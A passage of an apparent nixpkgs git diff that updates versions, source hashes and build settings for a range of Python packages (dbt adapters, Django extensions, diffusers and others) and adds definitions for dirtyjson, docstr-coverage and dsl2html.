"sha256-Hfw85IcxwqFDKjkUxU+Zd9vyL7gaE0u5TZGKol2I9qg="; }; }; @@ -43,6 +46,7 @@ buildPythonPackage rec { meta = with lib; { description = "A tool that processes the most common jinja value templates in dbt model files"; homepage = "https://github.com/dbt-labs/dbt-extractor"; + changelog = "https://github.com/dbt-labs/dbt-extractor/blob/main/CHANGELOG.md"; license = licenses.asl20; maintainers = with maintainers; [ mausch tjni ]; }; diff --git a/pkgs/development/python-modules/dbt-postgres/default.nix b/pkgs/development/python-modules/dbt-postgres/default.nix index 0478e748f1c62..b2852ce6d2149 100644 --- a/pkgs/development/python-modules/dbt-postgres/default.nix +++ b/pkgs/development/python-modules/dbt-postgres/default.nix @@ -1,20 +1,28 @@ { lib -, buildPythonPackage , agate +, buildPythonPackage , dbt-core , psycopg2 +, pythonOlder +, setuptools }: buildPythonPackage { pname = "dbt-postgres"; - format = "setuptools"; + pyproject = true; inherit (dbt-core) version src; + disabled = pythonOlder "3.7"; + sourceRoot = "${dbt-core.src.name}/plugins/postgres"; env.DBT_PSYCOPG2_NAME = "psycopg2"; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ agate dbt-core diff --git a/pkgs/development/python-modules/dbt-redshift/default.nix b/pkgs/development/python-modules/dbt-redshift/default.nix index 186e0f1e05468..41906a9362648 100644 --- a/pkgs/development/python-modules/dbt-redshift/default.nix +++ b/pkgs/development/python-modules/dbt-redshift/default.nix @@ -1,29 +1,31 @@ { lib -, buildPythonPackage -, fetchFromGitHub , agate , boto3 +, buildPythonPackage , dbt-core , dbt-postgres +, fetchFromGitHub , pytestCheckHook , pythonRelaxDepsHook , redshift-connector +, setuptools }: buildPythonPackage rec { pname = "dbt-redshift"; - version = "1.7.1"; - format = "setuptools"; + version = "1.7.4"; + pyproject = true; src = fetchFromGitHub { owner = "dbt-labs"; - repo = pname; + repo = "dbt-redshift"; rev = "refs/tags/v${version}"; - hash = "sha256-ONXrA8ABTYxkBm56TdFPhzjF/nngUQyecdgr2WO/5mE="; + hash = "sha256-Ny6Nnb5OhtqSQZ0BMOQrb0ic6i29GVywy3hn3UuVtxE="; }; nativeBuildInputs = [ pythonRelaxDepsHook + setuptools ]; pythonRelaxDeps = [ diff --git a/pkgs/development/python-modules/dbt-semantic-interfaces/default.nix b/pkgs/development/python-modules/dbt-semantic-interfaces/default.nix index 6dc4c6155adfe..a51cb07f099c2 100644 --- a/pkgs/development/python-modules/dbt-semantic-interfaces/default.nix +++ b/pkgs/development/python-modules/dbt-semantic-interfaces/default.nix @@ -1,33 +1,40 @@ { lib , buildPythonPackage -, fetchFromGitHub -, pytestCheckHook , click , dateutils +, dbt-postgres +, fetchFromGitHub , hatchling +, hypothesis , importlib-metadata , jinja2 , jsonschema , more-itertools , pydantic +, pytestCheckHook +, pythonOlder , pyyaml , typing-extensions -, hypothesis -, dbt-postgres }: buildPythonPackage rec { pname = "dbt-semantic-interfaces"; - version = "0.4.2"; + version = "0.4.4"; pyproject = true; + disabled = pythonOlder "3.8"; + src = fetchFromGitHub { owner = "dbt-labs"; - repo = pname; + repo = "dbt-semantic-interfaces"; rev = "refs/tags/v${version}"; - hash = "sha256-Q3aKUyXB+HzPCpwbJ66zDv92n04Gb0w7ivWfga3UX3s="; + hash = "sha256-uvwcnOKjwxEmA+/QRGSRofpoE4jZzmE02mGSDLINrJw="; }; + nativeBuildInputs = [ + hatchling + ]; + propagatedBuildInputs = [ click dateutils @@ -40,10 +47,6 @@ buildPythonPackage rec { typing-extensions ]; - nativeBuildInputs = [ - hatchling - ]; - nativeCheckInputs = [ pytestCheckHook hypothesis @@ -59,7 +62,5 @@ buildPythonPackage rec { homepage = "https://github.com/dbt-labs/dbt-semantic-interfaces"; license = licenses.asl20; maintainers = with maintainers; [ pbsds ]; - # https://github.com/dbt-labs/dbt-semantic-interfaces/issues/134 - broken = versionAtLeast pydantic.version "2"; }; } diff --git a/pkgs/development/python-modules/dbt-snowflake/default.nix b/pkgs/development/python-modules/dbt-snowflake/default.nix index 028050eea7c14..ef3cb866c2b2a 100644 --- a/pkgs/development/python-modules/dbt-snowflake/default.nix +++ b/pkgs/development/python-modules/dbt-snowflake/default.nix @@ -1,23 +1,31 @@ { lib , buildPythonPackage -, fetchFromGitHub , dbt-core +, fetchFromGitHub , pytestCheckHook +, pythonOlder +, setuptools , snowflake-connector-python }: buildPythonPackage rec { pname = "dbt-snowflake"; - version = "1.7.0"; - format = "setuptools"; + version = "1.7.2"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "dbt-labs"; - repo = pname; + repo = "dbt-snowflake"; rev = "refs/tags/v${version}"; - hash = "sha256-v+9uxHeROZU7vZvvB7UYUFNM6ez97qiZmgDiunUKf04="; + hash = "sha256-OyUBqSNHMedCDsY280O8VAmxeyeF5J0snk5o6XhE2V4="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ dbt-core snowflake-connector-python diff --git a/pkgs/development/python-modules/debian-inspector/default.nix b/pkgs/development/python-modules/debian-inspector/default.nix index eb0b89ba9871c..0add3d134ec72 100644 --- a/pkgs/development/python-modules/debian-inspector/default.nix +++ b/pkgs/development/python-modules/debian-inspector/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "debian-inspector"; - version = "31.0.0"; + version = "31.1.0"; format = "setuptools"; disabled = pythonOlder "3.6"; @@ -19,7 +19,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "debian_inspector"; inherit version; - hash = "sha256-RglPlTRksmm7CYVere7jySy2tIegv6JuulN7Usw9a0c="; + hash = "sha256-68+8FwZPEL07bSEizbyXtxpJSvDruvr5qM6t/osWT5k="; }; dontConfigure = true; diff --git a/pkgs/development/python-modules/deebot-client/default.nix b/pkgs/development/python-modules/deebot-client/default.nix index f3fdbef187828..ef114da4ca02a 100644 --- a/pkgs/development/python-modules/deebot-client/default.nix +++ b/pkgs/development/python-modules/deebot-client/default.nix @@ -20,7 +20,7 @@ buildPythonPackage rec { pname = "deebot-client"; - version = "5.1.1"; + version = "6.0.2"; pyproject = true; disabled = pythonOlder "3.11"; @@ -29,7 +29,7 @@ buildPythonPackage rec { owner = "DeebotUniverse"; repo = "client.py"; rev = "refs/tags/${version}"; - hash = "sha256-axz31GboqaWAcBU8DtG700Se6rX7VV7eBrQBDazG+Ig="; + hash = "sha256-PjM2bh79o4bBv3zQyFYehhdlvXKFW8Hk0ZKfZDAuiQU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/deepl/default.nix b/pkgs/development/python-modules/deepl/default.nix index ab0e1f01ffdc0..4840329d75c91 100644 --- a/pkgs/development/python-modules/deepl/default.nix +++ b/pkgs/development/python-modules/deepl/default.nix @@ -8,12 +8,12 @@ buildPythonPackage rec { pname = "deepl"; - version = "1.16.1"; + version = "1.17.0"; format = "pyproject"; src = fetchPypi { inherit pname version; - hash = "sha256-s01KhkTJ5ip6nCSs/oCgdxe9Cjsr53tjOhDV1P50jc0="; + hash = "sha256-IwBKgkfXXYAgat7E4pAS5f9UNOmY9yRj4ZP85wSt4cs="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/deluge-client/default.nix b/pkgs/development/python-modules/deluge-client/default.nix index 3b812d671c9d6..219ebf5143b5c 100644 --- a/pkgs/development/python-modules/deluge-client/default.nix +++ b/pkgs/development/python-modules/deluge-client/default.nix @@ -1,21 +1,37 @@ -{ lib, buildPythonPackage, fetchPypi }: +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, pythonOlder +}: buildPythonPackage rec { pname = "deluge-client"; - version = "1.9.0"; - format = "setuptools"; + version = "1.10.2"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - sha256 = "0d2f12108a147d44590c8df63997fcb32f8b2fbc18f8cbb221f0136e2e372b85"; + hash = "sha256-OIGu48Tgyp3YpWtxAEe4N+HQh6g+QhY2oHR3H5Kp8bU="; }; + nativeBuildInputs = [ + setuptools + ]; + # it will try to connect to a running instance doCheck = false; + pythonImportsCheck = [ + "deluge_client" + ]; + meta = with lib; { description = "Lightweight pure-python rpc client for deluge"; homepage = "https://github.com/JohnDoee/deluge-client"; + changelog = "https://github.com/JohnDoee/deluge-client/blob/${version}/CHANGELOG.rst"; license = licenses.mit; maintainers = with maintainers; [ peterhoeg ]; }; diff --git a/pkgs/development/python-modules/dep-logic/default.nix b/pkgs/development/python-modules/dep-logic/default.nix index 122862e8c29ea..b8c27334a868b 100644 --- a/pkgs/development/python-modules/dep-logic/default.nix +++ b/pkgs/development/python-modules/dep-logic/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "dep-logic"; - version = "0.0.4"; + version = "0.2.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -17,8 +17,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "pdm-project"; repo = "dep-logic"; - rev = version; - hash = "sha256-AFiCNzHlo3BADqbjRBruA80cfM6Ytdb+gReEg5hUmro="; + rev = "refs/tags/${version}"; + hash = "sha256-NB0TR7fCtjSm4cAl+Fy+6c+z1ZBDiRw7nXux/s6ON/c="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/diffsync/default.nix b/pkgs/development/python-modules/diffsync/default.nix index 8d4a71e89098d..877322259c42e 100644 --- a/pkgs/development/python-modules/diffsync/default.nix +++ b/pkgs/development/python-modules/diffsync/default.nix @@ -5,24 +5,26 @@ , packaging , poetry-core , pydantic +, pythonRelaxDepsHook , redis , structlog }: buildPythonPackage rec { pname = "diffsync"; - version = "1.10.0"; + version = "2.0.0"; format = "pyproject"; src = fetchFromGitHub { owner = "networktocode"; repo = "diffsync"; rev = "refs/tags/v${version}"; - hash = "sha256-p7aML6dTDkF4hx67bwI29nhEHi7LIEZ5RlHPgtyQMbo="; + hash = "sha256-4LS18FPrnGE1tM0pFzAw0+ajDaw9g7MCgIwS2ptrX9c="; }; nativeBuildInputs = [ poetry-core + pythonRelaxDepsHook ]; propagatedBuildInputs = [ @@ -33,6 +35,10 @@ buildPythonPackage rec { structlog ]; + pythonRelaxDeps = [ + "structlog" + ]; + pythonImportsCheck = [ "diffsync" ]; diff --git a/pkgs/development/python-modules/diffusers/default.nix b/pkgs/development/python-modules/diffusers/default.nix index 8f80c3ed6e552..8cfe8e3611849 100644 --- a/pkgs/development/python-modules/diffusers/default.nix +++ b/pkgs/development/python-modules/diffusers/default.nix @@ -39,7 +39,7 @@ buildPythonPackage rec { pname = "diffusers"; - version = "0.26.2"; + version = "0.26.3"; pyproject = true; disabled = pythonOlder "3.8"; @@ -48,7 +48,7 @@ buildPythonPackage rec { owner = "huggingface"; repo = "diffusers"; rev = "refs/tags/v${version}"; - hash = "sha256-mIwB4Fk5m6GUbiOXaZqY18eLLXkocL/GqCfHQbLgrJk="; + hash = "sha256-1pIe1OU+vIrHM6KIZtHRMXklBZrugDV+I/OBNQYqvXI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/dirtyjson/default.nix b/pkgs/development/python-modules/dirtyjson/default.nix new file mode 100644 index 0000000000000..7cd4fce0e6509 --- /dev/null +++ b/pkgs/development/python-modules/dirtyjson/default.nix @@ -0,0 +1,39 @@ +{ lib +, buildPythonPackage +, fetchPypi +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "dirtyjson"; + version = "1.0.8"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchPypi { + inherit pname version; + hash = "sha256-kMpKGPP/MM6EnRANz0oAOVPHnTojSO8Fbx2cIiMaJf0="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "dirtyjson" + ]; + + meta = with lib; { + description = "JSON decoder for Python that can extract data from the muck"; + homepage = "https://github.com/codecobblers/dirtyjson"; + license = with licenses; [ afl21 /* and */ mit]; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/dj-rest-auth/default.nix b/pkgs/development/python-modules/dj-rest-auth/default.nix index 4c6751d8f43b5..e415977d86374 100644 --- a/pkgs/development/python-modules/dj-rest-auth/default.nix +++ b/pkgs/development/python-modules/dj-rest-auth/default.nix @@ -5,6 +5,7 @@ , djangorestframework , djangorestframework-simplejwt , fetchFromGitHub +, fetchpatch , python , pythonOlder , responses @@ -26,6 +27,15 @@ buildPythonPackage rec { hash = "sha256-TqeNpxXn+v89fEiJ4AVNhp8blCfYQKFQfYmZ6/QlRbQ="; }; + patches = [ + # https://github.com/iMerica/dj-rest-auth/pull/597 + (fetchpatch { + name = "disable-email-confirmation-ratelimit-in-tests-to-support-new-allauth.patch"; + url = "https://github.com/iMerica/dj-rest-auth/commit/c8f19e18a93f4959da875f9c5cdd32f7d9363bba.patch"; + hash = "sha256-Y/YBjV+c5Gw1wMR5r/4VnyV/ewUVG0z4pjY/MB4ca9Y="; + }) + ]; + postPatch = '' substituteInPlace setup.py \ --replace "==" ">=" diff --git a/pkgs/development/python-modules/django-allauth/default.nix b/pkgs/development/python-modules/django-allauth/default.nix index 31a7043693655..8a1f6dc8ac06f 100644 --- a/pkgs/development/python-modules/django-allauth/default.nix +++ b/pkgs/development/python-modules/django-allauth/default.nix @@ -28,7 +28,7 @@ buildPythonPackage rec { pname = "django-allauth"; - version = "0.60.0"; + version = "0.61.1"; pyproject = true; disabled = pythonOlder "3.7"; @@ -37,7 +37,7 @@ buildPythonPackage rec { owner = "pennersr"; repo = "django-allauth"; rev = "refs/tags/${version}"; - hash = "sha256-hkzZl2eZKti6m06LTtBqVXmsj6IFztsV2Of6tPiej+I="; + hash = "sha256-C9SYlL1yMnSb+Zpi2opvDw1stxAHuI9/XKHyvkM36Cg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/django-bootstrap4/default.nix b/pkgs/development/python-modules/django-bootstrap4/default.nix index 66cff8029757f..b0a11d9044d37 100644 --- a/pkgs/development/python-modules/django-bootstrap4/default.nix +++ b/pkgs/development/python-modules/django-bootstrap4/default.nix @@ -18,14 +18,14 @@ buildPythonPackage rec { pname = "django-bootstrap4"; - version = "23.4"; + version = "24.1"; format = "pyproject"; src = fetchFromGitHub { owner = "zostera"; repo = "django-bootstrap4"; rev = "refs/tags/v${version}"; - hash = "sha256-ccZ/73u4c6E6pfRv+f3Pu8SorF/d7zQBexGAlFcIwTo="; + hash = "sha256-TCHie5h/VRJ9NSg7wKnWotFHm328kxIp+xFXEa8wL1c="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/django-crispy-bootstrap4/default.nix b/pkgs/development/python-modules/django-crispy-bootstrap4/default.nix index d8bb73ccdef8c..d1a66ed8f704d 100644 --- a/pkgs/development/python-modules/django-crispy-bootstrap4/default.nix +++ b/pkgs/development/python-modules/django-crispy-bootstrap4/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "django-crispy-bootstrap4"; - version = "2023.1"; + version = "2024.1"; format = "pyproject"; src = fetchFromGitHub { owner = "django-crispy-forms"; repo = "crispy-bootstrap4"; rev = "refs/tags/${version}"; - hash = "sha256-4p6dlyQYZGyfBntTuzCjikL8ZG/4xDnTiQ1rCVt0Hbk="; + hash = "sha256-upHrNDhoY+8qD+aeXPcY452xUIyYjW0apf8mVo6pqY4="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/django-crispy-bootstrap5/default.nix b/pkgs/development/python-modules/django-crispy-bootstrap5/default.nix index 16609c82d34af..4d14ce5129a72 100644 --- a/pkgs/development/python-modules/django-crispy-bootstrap5/default.nix +++ b/pkgs/development/python-modules/django-crispy-bootstrap5/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "django-crispy-bootstrap5"; - version = "2023.10"; + version = "2024.2"; format = "pyproject"; src = fetchFromGitHub { owner = "django-crispy-forms"; repo = "crispy-bootstrap5"; rev = "refs/tags/${version}"; - hash = "sha256-AUMlLj3GmI+0vYw56Dw2+iF5s1l6GF+zV7PRD889ldg="; + hash = "sha256-ehcDwy53pZCqouvUm6qJG2FJzlFZaygTZxNYPOqH1q0="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/django-debug-toolbar/default.nix b/pkgs/development/python-modules/django-debug-toolbar/default.nix index a301a24940633..ee1a557b8eb06 100644 --- a/pkgs/development/python-modules/django-debug-toolbar/default.nix +++ b/pkgs/development/python-modules/django-debug-toolbar/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "django-debug-toolbar"; - version = "4.2"; + version = "4.3"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "jazzband"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-hPO2q3V69kpyahav4cgUHz/3WLxXnZYCyWGetyNS+2Q="; + hash = "sha256-8rwEM+YSO9TtkC1UWS4JrzFH+TlGOHzL+WmxNwMJIWQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/django-model-utils/default.nix b/pkgs/development/python-modules/django-model-utils/default.nix index 6c82422cf0e09..36003b6625c2c 100644 --- a/pkgs/development/python-modules/django-model-utils/default.nix +++ b/pkgs/development/python-modules/django-model-utils/default.nix @@ -12,16 +12,16 @@ buildPythonPackage rec { pname = "django-model-utils"; - version = "4.3.1"; + version = "4.4.0"; format = "setuptools"; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "jazzband"; repo = "django-model-utils"; rev = "refs/tags/${version}"; - hash = "sha256-p3/JO6wNwZPYX7MIgMj/0caHt5s+uL51Sxa28/VITxo="; + hash = "sha256-/9gLovZGUwdoz3o3LZBfQ7iWr95cpTWq2YqFKoQC9kY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/django-modelcluster/default.nix b/pkgs/development/python-modules/django-modelcluster/default.nix index 5c1dd8f78dda8..6d8776a9528ff 100644 --- a/pkgs/development/python-modules/django-modelcluster/default.nix +++ b/pkgs/development/python-modules/django-modelcluster/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "django-modelcluster"; - version = "6.2.1"; + version = "6.3"; format = "setuptools"; disabled = pythonOlder "3.5"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "wagtail"; repo = "django-modelcluster"; rev = "refs/tags/v${version}"; - hash = "sha256-y2jGSZvTeSnpWDFJ+aNGofTEtMMlY9TrXZjQeET5OhY="; + hash = "sha256-AUVl2aidjW7Uu//3HlAod7pxzj6Gs1Xd0uTt3NrrqAU="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/django-pattern-library/default.nix b/pkgs/development/python-modules/django-pattern-library/default.nix index 89f998c058b9c..12a229ce9da8f 100644 --- a/pkgs/development/python-modules/django-pattern-library/default.nix +++ b/pkgs/development/python-modules/django-pattern-library/default.nix @@ -19,24 +19,16 @@ buildPythonPackage rec { pname = "django-pattern-library"; - version = "1.1.0"; - format = "pyproject"; + version = "1.2.0"; + pyproject = true; src = fetchFromGitHub { owner = "torchbox"; repo = "django-pattern-library"; rev = "refs/tags/v${version}"; - hash = "sha256-9uuLYwG0/NYGouncuaN8S+3CBABSxSOkcrP59p5v84U="; + hash = "sha256-hrdJYVioY6y9D29DuKPMZjdWj92GcbHXANWiEHadimI="; }; - patches = [ - (fetchpatch { - # https://github.com/torchbox/django-pattern-library/pull/232 - url = "https://github.com/torchbox/django-pattern-library/commit/e7a9a8928a885941391fb584eba81578a292ee7d.patch"; - hash = "sha256-3uUoxdVYEiF+to88qZRhOkh1++RfmsqCzO9JNMDqz6g="; - }) - ]; - nativeBuildInputs = [ poetry-core ]; diff --git a/pkgs/development/python-modules/django-simple-history/default.nix b/pkgs/development/python-modules/django-simple-history/default.nix index a38671d97c0ff..4c31b8725763d 100644 --- a/pkgs/development/python-modules/django-simple-history/default.nix +++ b/pkgs/development/python-modules/django-simple-history/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "django-simple-history"; - version = "3.4.0"; + version = "3.5.0"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "jazzband"; repo = "django-simple-history"; rev = "refs/tags/${version}"; - hash = "sha256-XY6YNajwX5z3AXkYYGFtrURDqxub9EQwu52jQ7CZwrI="; + hash = "sha256-BW/F+RBf1KvwGRY9IK00+n69Jtx/ndEuvpHSi8/odSE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/django-storages/default.nix b/pkgs/development/python-modules/django-storages/default.nix index 1bce8c0d751e1..29b4aff063096 100644 --- a/pkgs/development/python-modules/django-storages/default.nix +++ b/pkgs/development/python-modules/django-storages/default.nix @@ -1,38 +1,33 @@ { lib -, buildPythonPackage -, fetchFromGitHub - -# build-system -, setuptools - -# dependencies -, django - -# optional-dependencies , azure-storage-blob , boto3 +, buildPythonPackage +, cryptography +, django , dropbox +, fetchFromGitHub , google-cloud-storage , libcloud -, paramiko - -# tests -, cryptography , moto +, paramiko , pytestCheckHook +, pythonOlder , rsa +, setuptools }: buildPythonPackage rec { pname = "django-storages"; - version = "1.14"; - format = "pyproject"; + version = "1.14.2"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "jschneier"; repo = "django-storages"; rev = "refs/tags/${version}"; - hash = "sha256-q+vQm1T5/ueGPfwzuUOmSI/nESchqJc4XizJieBsLWc="; + hash = "sha256-V0uFZvnBi0B31b/j/u3Co6dd9XcdVefiSkl3XmCTJG4="; }; nativeBuildInputs = [ @@ -67,12 +62,6 @@ buildPythonPackage rec { ]; }; - pythonImportsCheck = [ - "storages" - ]; - - env.DJANGO_SETTINGS_MODULE = "tests.settings"; - nativeCheckInputs = [ cryptography moto @@ -80,9 +69,20 @@ buildPythonPackage rec { rsa ] ++ lib.flatten (builtins.attrValues passthru.optional-dependencies); + pythonImportsCheck = [ + "storages" + ]; + + env.DJANGO_SETTINGS_MODULE = "tests.settings"; + + disabledTests = [ + # AttributeError: 'str' object has no attribute 'universe_domain' + "test_storage_save_gzip" + ]; + meta = with lib; { - changelog = "https://github.com/jschneier/django-storages/blob/${version}/CHANGELOG.rst"; description = "Collection of custom storage backends for Django"; + changelog = "https://github.com/jschneier/django-storages/blob/${version}/CHANGELOG.rst"; downloadPage = "https://github.com/jschneier/django-storages/"; homepage = "https://django-storages.readthedocs.io"; license = licenses.bsd3; diff --git a/pkgs/development/python-modules/django-treebeard/default.nix b/pkgs/development/python-modules/django-treebeard/default.nix index ec05953eae6e1..6b26ece7dd50e 100644 --- a/pkgs/development/python-modules/django-treebeard/default.nix +++ b/pkgs/development/python-modules/django-treebeard/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "django-treebeard"; - version = "4.7"; + version = "4.7.1"; format = "setuptools"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-x1Gj+SQVjCiP6omvwlpxUZefrwG/Ef3HvjuFgJnfpW0="; + hash = "sha256-hG5GKQS0NxVfduBJB7pOSEgHFoVfiLiY30Eivc+9bpg="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/django/3.nix b/pkgs/development/python-modules/django/3.nix index e2c7a93cf007b..af4f123ee01e2 100644 --- a/pkgs/development/python-modules/django/3.nix +++ b/pkgs/development/python-modules/django/3.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "django"; - version = "3.2.24"; + version = "3.2.25"; disabled = pythonOlder "3.7"; src = fetchPypi { pname = "Django"; inherit version; - hash = "sha256-qu6fsPtOvUMRUgiHrS4zMT02iEZgf4KpoO1GHNTDWxg="; + hash = "sha256-fKOKeGVK7nI3hZTWPlFjbAS44oV09VBd/2MIlbVHJ3c="; }; patches = [ diff --git a/pkgs/development/python-modules/django/5.nix b/pkgs/development/python-modules/django/5.nix index 686280dcdd244..ddfb773af69d8 100644 --- a/pkgs/development/python-modules/django/5.nix +++ b/pkgs/development/python-modules/django/5.nix @@ -42,14 +42,14 @@ buildPythonPackage rec { pname = "Django"; - version = "5.0.2"; + version = "5.0.3"; pyproject = true; disabled = pythonOlder "3.10"; src = fetchPypi { inherit pname version; - hash = "sha256-tbsdEbJRil+RNyooLyRmL1j2Z0lmawooarBXAp9ygIA="; + hash = "sha256-X7N1gNz0omL5JYwfQ3OBmqzKkGQx9QXkaI4386mRld8="; }; patches = [ diff --git a/pkgs/development/python-modules/dm-haiku/default.nix b/pkgs/development/python-modules/dm-haiku/default.nix index cb97e2f837afe..e35baffb40669 100644 --- a/pkgs/development/python-modules/dm-haiku/default.nix +++ b/pkgs/development/python-modules/dm-haiku/default.nix @@ -23,14 +23,14 @@ let dm-haiku = buildPythonPackage rec { pname = "dm-haiku"; - version = "0.0.11"; + version = "0.0.12"; format = "setuptools"; src = fetchFromGitHub { owner = "deepmind"; repo = "dm-haiku"; rev = "refs/tags/v${version}"; - hash = "sha256-xve1vNsVOC6/HVtzmzswM/Sk3uUNaTtqNAKheFb/tmI="; + hash = "sha256-aJRXlMq4CNMH3ZSTDP8MgnVltdSc8l5raw4//KccL48="; }; patches = [ diff --git a/pkgs/development/python-modules/dnf-plugins-core/default.nix b/pkgs/development/python-modules/dnf-plugins-core/default.nix index 5ba20ff945654..81404145e8b81 100644 --- a/pkgs/development/python-modules/dnf-plugins-core/default.nix +++ b/pkgs/development/python-modules/dnf-plugins-core/default.nix @@ -22,7 +22,7 @@ in buildPythonPackage rec { pname = "dnf-plugins-core"; - version = "4.4.4"; + version = "4.5.0"; format = "other"; outputs = [ "out" "man" ]; @@ -30,8 +30,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "rpm-software-management"; repo = "dnf-plugins-core"; - rev = version; - hash = "sha256-SGgUozOAU6h87SguXh+13CxV4GnVhdN3SpwKfDPh2GY="; + rev = "refs/tags/${version}"; + hash = "sha256-og20X2AUzoOphwF+508EobGEp/VYLtxWY7N4k327o8o="; }; patches = [ diff --git a/pkgs/development/python-modules/docstr-coverage/default.nix b/pkgs/development/python-modules/docstr-coverage/default.nix new file mode 100644 index 0000000000000..ba0945ad15af5 --- /dev/null +++ b/pkgs/development/python-modules/docstr-coverage/default.nix @@ -0,0 +1,40 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, click +, pyyaml +, tqdm +, pytestCheckHook +, pytest-mock +}: +let + version = "2.3.1"; +in +buildPythonPackage { + pname = "docstr-coverage"; + inherit version; + + src = fetchFromGitHub { + owner = "HunterMcGushion"; + repo = "docstr_coverage"; + rev = "refs/tags/v${version}"; + hash = "sha256-QmQE6KZ2NdXKQun+uletxYPktWvfkrj6NPAVl/mmpAY="; + }; + + propagatedBuildInputs = [ click pyyaml tqdm ]; + + nativeCheckInputs = [ pytestCheckHook pytest-mock ]; + + disabledTests = [ + # AssertionError: assert 'docstr_coverage' in '/build/source/tests' + "test_set_config_defaults_with_ignore_patterns" + ]; + + meta = with lib; { + description = "Docstring coverage analysis and rating for Python"; + homepage = "https://github.com/HunterMcGushion/docstr_coverage"; + changelog = "https://github.com/HunterMcGushion/docstr_coverage/blob/master/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ augustebaum ]; + }; +} diff --git a/pkgs/development/python-modules/dogpile-cache/default.nix b/pkgs/development/python-modules/dogpile-cache/default.nix index d05c47009f77a..51d799b90f13f 100644 --- a/pkgs/development/python-modules/dogpile-cache/default.nix +++ b/pkgs/development/python-modules/dogpile-cache/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "dogpile-cache"; - version = "1.3.0"; + version = "1.3.2"; format = "pyproject"; disabled = pythonOlder "3.6"; @@ -20,7 +20,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "dogpile.cache"; inherit version; - hash = "sha256-Cjh/GTLAce6P2XHS/1H4q6EQbFWUOaUbjHSiB/QOIV0="; + hash = "sha256-T3HcAzOtNRycb3BPW6Kje/Ucbu0EN9Gt9W4HWVmv5js="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/dploot/default.nix b/pkgs/development/python-modules/dploot/default.nix index 6b6dc6454cb61..fc60abddc69f7 100644 --- a/pkgs/development/python-modules/dploot/default.nix +++ b/pkgs/development/python-modules/dploot/default.nix @@ -11,12 +11,12 @@ buildPythonPackage rec { pname = "dploot"; - version = "2.2.4"; + version = "2.2.5"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-40/5KOlEFvPL9ohCfR3kqoikpKFfJO22MToq3GhamKM="; + hash = "sha256-SINtHw9q1cNqwtvSpPQUgYj6PzEqKXV0WXuKiPvkFQU="; }; pythonRelaxDeps = true; diff --git a/pkgs/development/python-modules/dsl2html/default.nix b/pkgs/development/python-modules/dsl2html/default.nix new file mode 100644 index 0000000000000..c3c2621ca2a9e --- /dev/null +++ b/pkgs/development/python-modules/dsl2html/default.nix @@ -0,0 +1,30 @@ +{ lib +, buildPythonPackage +, fetchPypi + +, setuptools +}: + +buildPythonPackage rec { + pname = "dsl2html"; + version = "0.1.5"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-LUtTMqQuwahIeMm9QvMe6rdHEw5LEjMQdyZFZvf/HRU="; + }; + + build-system = [ + setuptools + ]; + + pythonImportsCheck = [ "dsl" ]; + + meta = with lib; { + description = "Python module for converting DSL dictionary texts into HTML"; + homepage = "https://github.com/Crissium/python-dsl"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ vizid ]; + }; +} diff --git a/pkgs/development/python-modules/duckdb-engine/default.nix b/pkgs/development/python-modules/duckdb-engine/default.nix index ab82edb0893b7..955334bdf283d 100644 --- a/pkgs/development/python-modules/duckdb-engine/default.nix +++ b/pkgs/development/python-modules/duckdb-engine/default.nix @@ -14,8 +14,8 @@ 